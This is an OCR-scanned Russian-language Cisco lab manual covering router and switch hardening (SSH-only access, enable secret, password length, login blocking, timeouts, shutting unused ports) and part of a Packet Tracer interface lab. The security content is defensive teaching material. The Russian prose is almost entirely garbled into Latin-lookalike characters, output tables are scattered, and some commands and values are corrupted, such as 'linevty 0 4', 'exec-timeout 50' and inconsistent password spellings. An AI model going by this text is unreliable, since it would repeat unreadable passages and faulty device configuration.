15.2(4)M3, yauBepcaibHbI UM COBMECTUMBINA 00pa3)

e 1 xommyrarop (cepus Cisco 2960, ¢ mporpammubim obecrieueHreM Cisco 10S Bepcuun
15.0(2), o6pa3 lanbasek9 unu aHaIOrUYHbI#)

e 1TIK (Windows 7, Vista miu XP ¢ nporpammoii aMyJisiTopa TepMuHaia, Harpumep Tera Term)
o KoHcomnbHble kabenu 1t HacTpoiiku ycrpoiictB Cisco 10S yepes3 KOHCOMBHbBIE TIOPTHI

o Kabenu Ethernet B cooTBeTCTBHM ¢ TOMOJIOTHEN

Yacrs 1: OCHOBHBIE HACTPOMKHU yCTPOHCTBA
B vactu 1 motpebyeTcst HacTpoiika TOMOJIOTUM CETH M OCHOBHBIX MapaMeTpoB, Takux Kak IP-agpeca
uHTEpPEcoB, TOCTYN K yCTPOWCTBAM U NApOJIM HAa MapUIpyTH3aTOpeE.

[Ilar 1:  Co3zpaiite ceTh B COOTBETCTBUU C M300paKEHHOM HA CXEME TOIIOJIOTHEH.

[TonkmrouaiiTe 0TOOpaskaeMble B TOIOJIOTUN YCTPOUCTBA, a TaKXkKe Kabelb 110 Mepe HEOOXOUMOCTH.
[Mar 2:  BpInoJHUTE HHUIUMAINU3ALMIO U TIEpe3arpy3Ky MaplIpyTH3aTopa 1 KOMMYTaTopa.

[ar 3: HacTpoiiTe MapmpyTusarop.

CrpaBky 1o KOMaH1aM, HeOOXOAUMBIM JUTsl TpoToKona SSH, cM. B mpeapiaymieit maboparopHoit paboTe.
a. llogkmrounTe KOHCOMb K MApIIPyTU3aTOPY M AKTUBUPYWUTE MPUBUIECTUPOBAHHBIN PEKHM.

b. Boiiaure B pesxum KOHPHUTYpaLuu.

c. Ilpucpoiite Mmapmipytuzaropy ums R1.

d. Otkmrounte nmorck DNS, 4ToObI mpeqoTBpaTUTh MOMBITKY MAapIIPYTU3aTOpa HEBEPHOTO
npeoOpa3oBaHus BBEAEHHBIX KOMaH/I TakK, KaK eciu Obl OHU ObUTH Y3J1aMU.

e. Hasmaunte class B kauecTBe apoJid NpUBUJICTUPOBAHHOT'O PEXKHUMaA.

f. HasnaubTe CiSCO B KaueCcTBE MapoJist KOHCOJIM U BKIIFOUUTE BXO/ IO IMMAapOJIro.



g. HasnaubTe CiSCO B KauecTBE Mapoisi BUPTYaIbHOTO TEPMHHANIA U BKJIFOYHTE BXOJI IO TTAPOJTIO.
3amudpyiTe mapoau, XpaHIIuecs B OTKPHITOM BUJIE.
i. Co3paiite OaHHEp ¢ MPEAYNPEKICHUEM O 3aMPETE HECAHKIIMOHUPOBAHHOTO JJOCTYIA K YCTPOICTBY.

j. Hacrpoiite u aktuBupyiire uarepdeiic mapupyrusaropa GO/1 ¢ momoIpo CBeACHHUI,
COJIepKALIMXCS B TAOJIUIIE apeCcallyH.

k. CoxpaHute TeKyUIyl0 KOH(pUTypaluio B (ails 3arpy304Hoil KOH(GUTYpaluu.

[ITar 4: HacTpoiiTe KOMMyTaTOp.

a. [loxkmrouuTe KOHCOIb K KOMMYTATOPY U aKTUBUPYITE IPUBUIETUPOBAHHBIN PEXKUM.
b. BoiinuTte B pexXuM KOHPUTYpAITIH.
c. Ilpucpoiite kommyTaTopy ums S1.

d. Orxmrounte mouck DNS, 4To0OBI TPeIOTBPATUTE TOMBITKU MAPIIPYTU3ATOPA HEBEPHOTO
npeoOpa3oBaHUs BBEIEHHBIX KOMaH/I TaK, KaK €cli Obl OHU ObUIN y3J1aMH.

e. Hasnaubte class B kauecTBe maposisi MPUBUICTHPOBAHHOTO PEXKUMA.

f. Ha3naubTe CISCO B KauecTBE MapoJisi KOHCOJIM M BKJIFOUUTE BXO/I ITO MAPOJIIO.

g. HasnaupTe CiSCO B KauecTBe MapoJisi BUPTYATHHOTO TEPMHUHANA M BKIIOYMTE BXO/I I10 TAPOITIO.

h. Bammdpyiite naponu, XpaHsSmecs B OTKPHITOM BHJIE.

i. Coszmaiite OaHHEp C IPEAYNPEKICHUEM O 3aIPETe HECAHKIIMOHUPOBAHHOTO JIOCTYTA K YCTPOUCTBY.

j. IIpucsoiite unrepdeiicy SVI, koTopslii ucnons3yercs no ymondanuto, IP-aapec u3 rabnuibt
azpecaruu.

k. CoxpaHMTe TEKYILyI0 KOHQUTypalHio B (ailsl 3arpy304Hoil KOHPUTYpaIH.

YacTts 2 Hactpolika OCHOBHBIX Mep 0€3011acCHOCTH Ha MapIIpyTU3aTOpe
[Mar 1: Hcnons3yiTte HanéKHbIE MAPOJIN.

AJMUHUCTPATOP JOJKEH CIETUTh 3 TEM, YTOOBI MAPOJIM OTBEYAIM CTAaHAAPTHBIM PEKOMEH/IAIUSAM
10 CO3JIaHUI0 HaIEKHBIX MapoJiell. PekoMeHalimm MOryT BKIIOYaTh COYETaHHE B MapoJie OyKB,

uudp
U CIICHHUAJIBHBIX CUMBOJIOB U OHpeIleJ'ISITI) ero MI/IHI/IMaJ'IBHyIO }IJ'II/IHy.

IIpumeuanue. CornacHo peKOMEHIAUsIM 0 obecredeHu o dQGeKTUBHOIN paObOTHI B
MIPOU3BOJICTBEHHOM Cpejie HEOOXOAMMO UCTIONh30BaTh HAEKHBIE AP0, TAKUE KaK MIPUBOIATCS B
3TOM TabopaTopHoOi padoTe.

OnHako U1 IPOCTOTHI BHITIOJIHEHHUS JIAOOPATOPHBIX PadOT B TAHHOM KYpCe HCIIOJIb3YOTCS
MapoJu cisco u class.

a. UrtoObl cOOIIOCTH PEKOMEHAALINY, U3MEHHTE 3aIM(POBAHHBIN APOJIb IPUBUIIETUPOBAHHOTO
pexuma.

R1(config)# enable secret Enablep@55
b. YKEDKI/ITG, YTO MapoOJib JOJIKCH BKIIIOYAaTh HC MCHEC ICCATU CUMBOJIOB.

R1(config)# security passwords min-length 10



Iar 2:

AxTuBupyite noakiaoueHuss SSH.

B kauectBe nmenu qomena ykaxkure CCNA-lab.com.
R1(config)# ip domain-name CCNA-lab.com

CozpnaiiTe B 0a3ze JaHHBIX JOKAJIBHBIX MOJIb30BATENEH 3aMKCh, KOTOpas Oy/AeT UCIOJIb30BATHCS
MIpH MOAKIIOUYEHUH K MapuipyTtuzaTopy uepe3 SSH. Ilapoib gomKeH cOOTBETCTBOBATD
cTaHJapTaM HaJA&KHBIX MApoJieH, a MOoJb30BaTellb — MUMETh IIPpaBa JI0CTyNa YPOBHS
aJIMMHHCTpATOpA.

R1(config)# username admin privilege 15 secret Admin15p@55

HacrpoiiTe TpanciopTHBIN BBOJ 1715 VEY-THHUHN TaKuM 00pa3oM, YTOOBI OHH MOTJIH
npuHUMATh noakIroueHus: SSH, Ho He pa3pernaiite noakoueHus Telnet.

R1(config)# linevty 0 4
R1(config-line)# transport input ssh

I[J'I}I IIPOBECPKU INOAJITMHHOCTH B Vty-J'II/IHI/I}IX JOJI?KHA UCIIOJIb30BaTbCA Oasa JaHHBIX
JJOKAJIBHBIX ITOJIb30BATCIICH.

R1(config-line)# login local

R1(config-line)# exit

Cosnatite xirod mmdposanus RSA ¢ muaoi 1024 6ur.

R1(config)# crypto key generate rsa modulus 1024

The name for the keys will be: R1.CCNA-lab.com
% The key modulus size is 1024 bits

% Generating 1024 bit RSA keys, keys will be non-exportable...

[OK] (elapsed time was 2 seconds)
R1(config)#

*Jan 31 17:54:16.127: %SSH-5-ENABLED: SSH 1.99 has been enabled

[ar 3: OGecneubTe 3aMUTy KOHCOTH U VtY-THHUM.

a.

MapipyTu3aTtop MOKHO HACTPOUTH TAKUM 00pa3oM, YTOOBI OH 3aBeplIall CEaHC
MOAKIOYCHH A, HCAKTUBHOI'O B TCUCHUC YKa3aHHOI'O BPEMCHU. Ecan cereBoit AIAMUHUCTPATOP
BOILIEN B CUCTEMY CETEBOT'0 YCTPOMCTBA, a HOTOM ObUI BHE3AITHO BBI3BAH B JIPYrO€ MECTO, O
WCTEUCHUH YCTAHOBJICHHOTO BPEMEHH 3Ta KOMaH/[a aBTOMAaTHYECKH 3aBEPIIUT CEaHC
nojkiatoueHus. [IpuBenéHHbIEe HUYXKE KOMaH bl 3aKPBIBAIOT JIMHUIO CBSI3U Y€pe3 MATh MUHYT
HEAKTUBHOCTH.

R1(config)# line console 0

R1(config-line)# exec-timeout 5 0

R1(config-line)# line vty 0 4

R1(config-line)# exec-timeout 50

R1(config-line)# exit R1(config)#

YkazaHnHas HUXKe KOMaHJa NpCHIATCTBYCT BXOAY B CUCTCMY C UCIIOJIb30BAHUEM METOJa
IIOJIHOI'O nepe6opa. MapmpmiaTop 6JIOKI/IpyeT MOIIBITKX BXO/Jda B CUCTCMY Ha 30 CCKYHM,
eciu B TedueHue 120 cexyna OyaeT nBaXKbl BBeIEH HEBEpHBIH napoiib. Ha aTom Taiimepe

YCTaHOBJIEHO HU3KOE 3HAYCHHE CIICIUATBHO JJIsl BBIMIOTHEHHsSI TaHHOW J1a00paToOpHOit
paboTHI.



R1(config)# login block-for 30 attempts 2 within 120

Yro o3nauaer 2 Within 120 B mpuBeaéHHOii BbIiie KOMaH e?

[Har 4: Y6eaureck, 4TO BCE HEUCIOIb3YEMbIE TOPTHI OTKIIIOYCHBI.

ITo ymMoI9aHHIO IOPTHI MApIIPYTH3aTOPa OTKIFOYEHBI, OTHAKO PEKOMEH/TYETCS JTMIITHUI pa3
yOEeIUTHCS, YTO BCE HEUCIIOB3YEMbBIE TOPTHI 8 IMUHUCTPATHBHO OTKIIFOUEHBI. J[JIsl 5TOT0 MOXKHO
BOCIIOJIb30BaThCs kKoman 1o Show ip interface brief. Bece Hencnonb3yeMble mopThl, HE
OTKJIFOUCHHBIE aIMUHUCTPATUBHO, HEOOXOIMMO OTKIIFOYUTH C IIOMOIIBI0 KoMaH 161 Shutdown B
pexume KoHpurypamnuu uaTepdeiica.

R1# show ip interface brief

Interface IP-Address OK? Metho Status Protocol
d
Embedded-Service-Engine0/0 unassigned YES NVR administratively dow down
AM n
GigabitEthernet0/0 unassigned YES NVR administratively dow down
AM n
GigabitEthernet0/1 192.168.1.1 YES manua up up
I
Serial0/0/0 unassigned YES NVR administratively  dow down
AM n
Serial0/0/1 unassigned YES NVR administratively dow down
AM n
R1#

[ar 5: Y6eautech, 4TO BCE MEPHI O€30MACHOCTH MPEATPUHSTHI JOJIKHBIM 00pa3oM.
a. C nomorsto nporpaMmsl Tera Term noaxitountecs k R1 o

nporokoiny Telnet. [Tpuaumaer nu R1 noxakitoueHue no npoToKoIy

Telnet?

TlosicHuTE CBOW OTBET.

b. C nomoursio nporpammsl Tera Term moxakimounrech k R1 nmo

nporokosty SSH. IIpuaumaer nu R1 noaxiroueHue no npoToxkosy

SSH?



c. HamepenHo ykaxute HeBepHOE UMS MOJIB30BATEIS U N1APOJIb, YTOOBI IPOBEPUTD,
Oyzaet iu 3a0J0KUPOBaH JAOCTYI K CUCTEME IOCIIe JBYX HEYJa4HbIX MOMBITOK.

Yro IMPOU30ILLJIO MMOCJIC BBOJAa HCIIPABUIIbHBIX JAaHHBIX JJIS1 BXOAa B CUCTEMY BO BTOpOfI pa3‘7

d. U3 KOHCOJIBHOM ceccuH Ha MapLIpyTH3aTOpe OTIpaBbTe KoManay Show 10gin, 4To0s!
NPOBEPHUTH COCTOSIHUE BXO/a B cucTeMy. B npuBenéHHOM HIbKe mpumepe komanaa show login
ObLJ1a OTIIpaBJIcHa

B TeueHre 30-ceKyHTHON OJIOKMPOBKH JJOCTYIA K CUCTEME U TIOKA3bIBAET, YTO MApUIPYTU3ATOP
HaxoJuTcs B pexnme «Quiety. MapmpyTtusarop He OyIeT IpUHIMATh MOMBITKY BXO/a B
cucTeMy B TeueHue eme 14 cekyH.

R1# show login
A default login delay of 1 second is applied. No
Quiet-Mode access list has been configured.

Router enabled to watch for login Attacks.
If more than 2 login failures occur in 120 seconds or less, logins will be
disabled for 30 seconds.

Router presently in Quiet-Mode.
Will remain in Quiet-Mode for 14 seconds. Denying
logins from all sources.

R1#

e. [Ilo ucreuennn 30 cekyH1 NOBTOPUTE MOMBITKY nojakItoueHns kK R1 mo mpotokory SSH
1 BOUMTE B CHCTEMY, HCIIOB3YsI UM TTosIb30Baresss admin u maposs Adminlsp@55.
Yro oToOpa3uiIoch nocie yCrnemHoro BXoa B cuctemy?

f.  BblOepuTe MPUBUICTUPOBAHHBIN PEXKHUM U YKaKUTE B KauecTBe mapoiisi Enablep@55.
Eciu BBI HENIpaBWIIBHO YKaXKETE IMAPOITh, IPEPBETCS T MOAKITFOUYESHUE 10 IpoToKoiy SSH 1mociie IByX HeyaauyHbIX
MONBITOK B TeueHue 120 cekyHa?

ITosicHUTE CBOM OTBET.

g. Bseamte komanmy show running-config B crpoke npuBUIIETHPOBAaHHOTO PEKUMA JIJISI
IPOCMOTpPA YCTaHOBJICHHBIX [TAPaMETPOB OE30ITaCHOCTH.

YacTs 3: Hactpolika 0CHOBHBIX Mep 6€3011acHOCTH Ha KOMMYTaTope
Tar 1: Beibepure Gosnee Ha&XHbIE TAPOIH JI1 KOMMYTATOpa.

UYTo065!I COOIIOCTH PEKOMEHJAINH 110 CO3JaHHUI0 HAJEKHBIX Taposiel, N3MEHUTE 3aln(pPOBaHHbBIN TapOJIh
MIPUBUJIETUPOBAHHOTO pEXKHUMA.



S1(config)# enable secret Enablep@55

Ipumeuanue. Komanma 6e3onacuoctu password min-length na kommyraropax mozgenu 2960 He
HCIIONB3YETCS.

[ar 2: AxtuBupyiTe moakIroYeHUs SSH.

a. B kauectBe umenu nomena ykaxure CCNA-lab.com.
S1(config)# ip domain-name CCNA-lab.com

b. Co3maiite B 0a3e JaHHBIX JOKAJIBHBIX MOJIH30BATENEH 3aTUCh, KOTOPas OY/AET MCIOJIb30BaThCS
IIPU NOJKIFOUYEHUH K Mapiipytusatopy uyepe3 SSH. [laponb 1omkeH cooTBETCTBOBATh
cranjgapramMm HaI[é)KHBIX HapOJIef/'I, a IMOJIb30BAaTCJ/Ib — UMCTD IIpaBa JOCTYIIa YPOBHS
aJIMUHUCTPATOPA.

S1(config)# username admin privilege 15 secret Admin15p@55

c. Hacrpoiite TpancnopTHbIit BBOA 1151 VEY-ITMHUI TakuM 00pa3oM, 4TOOBI OHM MOTJIH
npuHUMaTh nofkiroueHust SSH, Ho He pa3peraiite moakmoyenus Telnet.

S1(config)# line vty 0 15
S1(config-line)# transport input ssh

d. I[J'IH IIPpOBECPKU INOAJIMHHOCTH B Vty-J'II/IHI/ISIX JOJI?KHA UCIIOJIb30BaTbCA Oasa JaHHBIX
JIOKAJIBHBIX IT1OJIB30BATCIICH.
S1(config-line)# login local
S1(config-line)# exit

e. Cospaiire kimou mupposanus RSA ¢ qymnoit 1024 6ur.

S1(config)# crypto key generate rsa modulus 1024

[Har 3: OGecneubTe 3aUIUTY KOHCOIU U Vty-THHUI.

a. HacrtpoiiTe kOMMyTaTOp TakKUM 00pa3oM, 4TOOBI OH 3aKPBIBAJI JIMHUIO Y€pe3 JeCATh MUHYT
OTCYTCTBHS aKTUBHOCTH.
S1(config)# line console 0
S1(config-line)# exec-timeout 10 0
S1(config-line)# line vty 0 15
S1(config-line)# exec-timeout 10 0
S1(config-line)# exit
S1(config)#
b. Yr10o0OBI ITOMENIATH HOIBITKAM BXOJa B CUCTCMY C HCIIOJIb30BAHUEM METO/la ITOJIHOTO nepe60pa,
HACTPONTE KOMMYTATOp TaKHM 00pa3oM, YTOOBI OH OJIOKHPOBAJ IOCTYIH K cucteMe Ha 30
CCKYHI ITOCJIC NIBYX HCYAAYHBIX IMOIBITOK BXOJA 3a 120 CCKYHI. Ha »tom TaﬁMepe
YCTAHOBJICHO HU3KOC 3HAUCHHUEC CIICHUAIIBHO IJI BBIITOJITHCHUA JIaHHOfI na60paTopH0171 pa6OTBI.
S1(config)# login block-for 30 attempts 2 within 120
S1(config)# end



S1#

[ar 4: YOenureck, 9TO BCE HEUCIOIB3YEMbIC TTOPTHI OTKIIOYCHEI.

IIo YMOJTYaHUIO TOPThI KOMMYTATOPa BKIIIOYCHBI. OTKIIIOYNTE HA KOMMYTATOPC BCC HCUCIIOJIB3YCMbIC

MOPTBHI.

a. CocTosHHE TOPTOB KOMMYTaTOpa MOKHO IIPOBEPUTH € TIOMOIILI0 KoMaHab1 Show ip interface brief.

b.

S1# show ip interface brief

Interface

Vlanl
FastEthernet0/1

FastEthernet0/2
FastEthernet0/3
FastEthernet0/4
FastEthernet0/5
FastEthernet0/6
FastEthernet0/7
FastEthernet0/8
FastEthernet0/9
FastEthernet0/10
FastEthernet0/11
FastEthernet0/12
FastEthernet0/13
FastEthernet0/14
FastEthernet0/15
FastEthernet0/16
FastEthernet0/17
FastEthernet0/18
FastEthernet0/19
FastEthernet0/20
FastEthernet0/21
FastEthernet0/22
FastEthernet0/23
FastEthernet0/24

GigabitEthernet0/1
GigabitEthernet0/2

S1#

YroObl OTKITIOYUTH Cpa3y HECKOJIbKO HHTep(deiicoB, BOCHIONB3yiiTech KoMaHao#t interface range.

IP-Address

192.168.1.11

unassigned

unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned

OK? Metho Status

d
YES manual up

YES unset down

YES unset down
YES unset down
YES unset down
YES unset up

YES unset up

YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down
YES unset down

S1(config)# interface range f0/1-4 , f0/7-24 , g0/1-2
S1(config-if-range)# shutdown
S1(config-if-range)#end

Protocol

up
down

down
down
down
up

up

down
down
down
down
down
down
down
down
down
down
down
down
down
down
down
down
down
down
down
down



C.

VY6enureck, 4TO Bce HEAKTUBHBIE MHTEP(ENHCH aIMUHICTPATUBHO OTKITIOUCHBI.

S1# show ip interface brief

Interface

Vlanl

FastEthernet0/1
FastEthernet0/2
FastEthernet0/3
FastEthernet0/4
FastEthernet0/5
FastEthernet0/6
FastEthernet0/7
FastEthernet0/8
FastEthernet0/9
FastEthernet0/10

FastEthernet0/11
FastEthernet0/12

FastEthernet0/13
FastEthernet0/14
FastEthernet0/15
FastEthernet0/16
FastEthernet0/17
FastEthernet0/18
FastEthernet0/19
FastEthernet0/20
FastEthernet0/21
FastEthernet0/22
FastEthernet0/23
FastEthernet0/24

GigabitEthernet0/1
GigabitEthernet0/2

Sl#

IP-Address

192.168.1.11

unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned

unassigned
unassigned

unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned
unassigned

OK? Metho Status

d

YES manual up

YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset

YES unset
YES unset

YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset
YES unset

administratively
administratively
administratively
administratively
up

up

administratively
administratively
administratively
administratively

administratively
administratively

administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively
administratively

Protocol
up
down down
down down
down down
down down
up
up
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down
down down

[Har 5: Y6eaureck, 4To Bce Mepbl O€30MACHOCTH NMPEATPUHATHI JOHKHBIM 00pa30M.

b.

IIoakmrouuTeCh K KOMMYTATOPY IO IIPOTOKOJIY SSH M HAMEPEHHO YKaKUTE HEBEPHOE UM
MOJIb30BATENs U apOJib, YTOOBI MPOBEPUTH, OYAET JIN 3a0JIOKMPOBAH JOCTYI K CHCTEME.

I[To ucreyennn 30 cexyH]1 MTOBTOPHUTE TOMBITKY MOAKIIOYeHUS K S1 o mporokomy SSH
¥ BOMIIUTE B CUCTEMY, HCIIOJIB3Ys MMs mosib3oBarenss admin u mapors Adminl5p@>55.

[TostBusics it GaHHEp TOCTE YCIENTHOTO BX0/1a B CUCTE

BriGepute npuBHIETHPOBAHHBIH PEXUM, UCTIONB3Yst ENablep@55 B kayecTre maposs.



e. Bseaute komanmy show running-config B crpoke npuBUICTHPOBAHHOTO PEKUMA JIJISI
IPOCMOTpPA YCTaHOBJICHHBIX [TAPaMETPOB OE30ITIACHOCTH.
Bonpockl Ha 3akpenJieHne

1. Bwuactu 1 11t KOHCONIM U Vty-JTMHUHN B Ballleld OCHOBHOW KOH(UTYpaIuy Obljia BBEICHA
KoManja passwordcisco. Korna ucrosb3yercst 3TOT napoJib Mociie MPUMEHEHHS Hanoboiee
3 pexkTUBHBIX Mep oOecrieueHus 6e30macHOCT?

2. Pacnopocrpansercs a1y koManza Security passwords min-length 10 Ha HacTpoeHHBIE paHee

[IapoJIv, COAEPIKAIINE MEHBIIIE ECATH CUMBOJIOB?



CBopnas Tabnuia uatepgeiica MappyTi3aropa

Oo6mme cBeneHus 06 uHTEpPeiicax

MapLIpyTU3aTOPOB
Mopenb Wurepdeiic Hurepdetic Ethernet | IocnenoBarenshbiii | [Tocnenosar
MapIpyTu3a Ethernet #1 #2 uHrtepderic #1 €JIbHBIN

Topa uHTepdhe
Wc #2

1800 Fast Ethernet 0/0 (FO/0)| Fast Ethernet 0/1 (FO/1) | Serial 0/0/0 (S0/0/0) | Serial 0/0/1
(S0/0/1)

1900 Gigabit Ethernet Gigabit Ethernet 0/1 Serial 0/0/0 (S0/0/0) | Serial 0/0/1
0/0 (G0/0) (GO/1) (S0/0/1)

2801 Fast Ethernet 0/0 (FO/0)| Fast Ethernet 0/1 (FO/1) | Serial 0/1/0 (S0/0/0) | Serial 0/1/1
(S0/0/1)

2811 Fast Ethernet 0/0 (FO/0)| Fast Ethernet 0/1 (FO/1) | Serial 0/0/0 (S0/0/0) | Serial 0/0/1
(S0/0/1)

2900 Gigabit Ethernet Gigabit Ethernet 0/1 Serial 0/0/0 (SO/0/0) | Serial 0/0/1
0/0 (G0/0) (GO/1) (S0/0/1)

Ipumeuanue. UYToObI y3HATH, KAKMM 00pPa30M HACTPOEH MAPIIPYTH3ATOP, U3YYUTE UHTEPPEIHCHI IS
OTIpe/ICTICHUS THITA MapIIPYTU3aTOPa U KOJIMYECTBA MMEIOIIUXCS Ha HEM uHTepdeiicoB. He
cyuiecTByeT 3pPEeKTHBHOTO CIIOCO0a MEPEYUCIUTh BCe KOMOMHAIIMU HACTPOCK JUTSl KAKIOTO Kitacca
MapIIpyTU3aTOpoB. ITa TaOIHIIA BKIIIOYACT B ce0s1 UACHTH(DHUKATOPHI BO3MOXKHBIX COUYCTAaHUIN
Ethernet u mocnenoBarenbHbIX HHTEP(DEHCOB B ycTpoiicTBe. B Tabnuity uHTepd)eiicoB HE BKIIIOYECHBI
WHBIC TUTIBI HHTEP(DEHCOB, TaXKe €CITM OHH MPUCYTCTBYIOT HA KAKOM-TTUOO ONpeAcIEHHOM
Mapuipytusarope. B kauectBe npumepa Mmoxxao npusectu uatepdeiic ISDN BRI. Ctpoka B ckoOkax
— 3TO IPUHATOE COKPAILIEHHE, KOTOPOE MOKET UCIIOIB30BaThCS

B komanaax |0S s npencrasienns naTEpdErica.

Bormpocsr:

1. Kakue 6a30BbIe HACTPONKH O€30MACHOCTH JOJKHBI OBITH BHITIOJIHEHBI HA MapuipyTtusatope?

2. Kakue KOMaH[IbI UCTIONIB3YIOTCS AJI1 YCTAHOBKH MapoJieii Ha JOCTYI K MapIIPyTH3aTOPY MO Pa3HBIM
MIpOTOKOJIaM?

3. Kak BKJIIOYHTH U HACTPOUTH CIIMCOK KOHTpouia noctyna ACL Ha mapuipyTuzarope?

4. Kak npousBecTtr 0a30BbI€ HACTPOUKU OpaHaMaydpa Ha MapiipyTuzaTope Cisco?

5. Kak npoBepuTh U MpOTECTUPOBATH BHITIOJHEHHBIE HACTPOMKHK 0€30MacCHOCTH HA MapIIpyTU3aTope?

OO0paser 3a1anuii 4751 BBIMOTHEHUS Ta00PaTOPHBIX pabOT U MPUMEPHBINA MepeueHb BOMPOCOB IS UX 3AIIUTHI
«Jlabopatopras pabora Ne 8. Packet Tracer: moaxiroueHie MapIIpyTH3aTopa K JTOKaTbHOU CETH

Packet Tracer: moak/iroueHne MapuIpyTH3aTOPA K JOKAJILHON ceTH

Tomosorus



192.168.10.0/24

10.1.1.0/24

a— s1 GO/o 209.165.200.224/30  ©0/0 R PC3
PC1 e -
..
s R2
R1
GO/1 Go/1 A | D
F——— )
F__# =5 = PC4
PC2
192,168.11.0/24 10.1.2.0/24
Tadauna agpecanmnu
11103 11O
YcrpoiictBo Uutepdeiic |IP-agpec Macka noaceTu YMOJTYAHHIO
GO0/0 192.168.10.1 255.255.255.0  |HemoctymHo
R1 GO0/1 192.168.11.1 255.255.255.0  [HemoctymHO
S0/0/0
(DCE) 209.165.200.225 255.255.255.252 HenoctymHo
GO0/0 10.1.1.1 255.255.255.0  |HemoctymHo
R2 GO0/1 10.1.2.1 255.255.255.0  [HemoctymHO
S0/0/0 209.165.200.226 255.255.255.252 HenoctymHo
CereBoil
I1K1 ajarrep 192.168.10.10  [255.255.255.0 192.168.10.1
CereBoii
K2 ajarrep 192.168.11.10  [255.255.255.0 192.168.11.1
CereBoii
I1K3 azianTep 10.1.1.10 255.255.255.0 10.1.1.1
CereBoil
I1K4 ajanrep 10.1.2.10 255.255.255.0 10.1.2.1




3agaun
Yactp 1. OTOOpaxkeHne cBeleHUIl 0 MAPIIPYyTU3ATOpe
Yactp 2. Hactpoiika narepdeiicoB MapmpyTu3aTopa

Yacrs 3. [IpoBepka koHurypauuu

Hcxonnblie naHHLIE

B 5TOM yrpaskHeHHH TOTPeOYeTCs KCIOIb30BaTh Pa3InIHbIE KOMAH Bl SNOW J171st 0TOOpaXkeH st
TEKYIIET0 COCTOSHHSI MapIIpyTU3aTopa. 3aTeM HY»KHO Oyzaet ucrosib3oBaTh Addressing Table ms
HacTpoiiku uarepdericos Ethernet. B 3aBepuienue 3amanus BaMm HaI0 OyAET UCIIOIB30BATH KOMAH IbI
JUISl TIPOBEPKU U TECTUPOBAHUS BBEACHHBIX HACTPOEK.

IIpumevyanue. MapuipyTHu3aTopsl B 3TOM YIPaXKHEHUH YK€ 4aCTUUHO HacTpoeHbl. HekoTopeie n3
KOH(HTypanuid He pacCMOTPEHBI MOIPOOHO B ITOM KypCe, HO OHU HY>KHBI JJIsl TOTO, YTOOBI TOMOYb
BaM B UCIIOJIb30BaHUU KOMAH]| IIPOBEPKHU.

Yacrts 1: OTtolOpaxeHue cBeleHN 0 MAPLIPYTU3ATOpE

lar 1: Oto0paxenue cBegenuii 06 nunrepgeiice mapmpyruszaropa R1.

Ipumeuanue. [E€nkauTe ycrpoiicTBo u otkpoiite Bkiagky CLI (MaTepdeiic koMaHAHOW CTPOKH) JIIst
JIOCTyIIa K KOMaHHO# cTpoke. [Taposis KoHCcom — CiSCO. ITaposb MpUBHICTUPOBAHHOTO PEIKUMA —
class.

a. Kakas xomaH/1a BEIBOJUT CTATUCTHKY 110 BceM MHTep(delicaM, HACTPOSHHBIM Ha MapuipyTu3aTope?

b. Kakas komaH/a BEIBOAMT TOJBKO cBeneHus 00 uarepdeiice Serial 0/0/0?

c. Beemute komaHy, 4TOOBI 0TOOPA3UTh CTAaTUCTHKY 1O nHTepdericy Serial 0/0/0 Ha
Mapipytuzatope R1, ¥ 0TBEThTE Ha CIICTYIOIIHE BOITPOCHI.

1) Kaxoii IP-anpec HacTpoen Ha mapmpytusatope R1?
2) Kakyro nponyckHyro criocoOHocTs nmeeT untepdeiic Serial 0/0/0?

d. Beemute KoMaHy, 4TOOBI OTOOPA3UTh CTATUCTHKY 1O HHTepdericy GigabitEthernet 0/0, u
OTBETHTE Ha CJICIYIOIINE BOMPOCHI.

1) Kakoii IP-anpec umeer mapmpyruzatop R1?
2) Kakoit MAC-anpec umeer unrepdeiic GigabitEthernet 0/0?

3) Kakyro npomyckHyto ciocooHoCTh nMeeT uaTepdetic GigabitEthernet 0/0?

Hlar 2: OTtobpaskeHue o01mero cnucka uurepgeiicop mapmpyrusaropa R1.

a. Kaxas KOMaHJia BBIBOJUT KPATKYHO CBOAKY IO TCKYIIUM HHTCp(I)CfICElM, COCTOSAHHA U

HazHa4yeHHbIe UM IP- agpeca?

b. BBeaute KOMaHIy Ha Ka)X/IOM MapUIpyTU3aTOPE U OTBETHTE Ha CIIEIYIOLINE BOTIPOCHI.
1) CKOJBKO TOCIIEI0BATENFHBIX HHTEp(helicoB Ha MapiipyTu3aTopax R1 u R2?

2) Ckounbko unrepgeiicoB Ethernet na mapmpyruszaropax R1 u R2?

3) Snstorcs nu Bce unTepdeiics! Ethernet Ha mapmpytuzatope R1 onunakossiMu? Ecin
otBeT «Het», 00bsicHUTE pa3nuuus.




Hlar 3: Oto0pa3ure Tad/IMIy MAapPIIPYTH3aLMU Ha MapumipyTu3aTope R1.
a. Kakas komana moka3pIBaeT COAEPKUMOE TaOJIUIBI MAPIIPY
b. BrmonHuTe KOMaHTy Ha MapuipyTuzarope R1 u oTBeThTE Ha ClIeAYIOIME BOIIPOCHI.
1) CKOJBKO B TaOJIHUIIE MOAKIFOYEHHBIX MapIIpyToB (umeroT koxa C)?

2) Kakoil mapuipyT npeacTaBieH B CIIUCKE?

3) Kakum oOpa3zom Mapuipytuszatop o0padbaTbIBacT MakeT, NpeAHa3HAYeHHBIH s
CeTH, KOTOpasi OTCYTCTBYET B TAOJIHIIE MapUIPyTU3ALUU?

Yacrs 2: Hacrpoiika nuarepdeiicoB mapmpyruzaropa

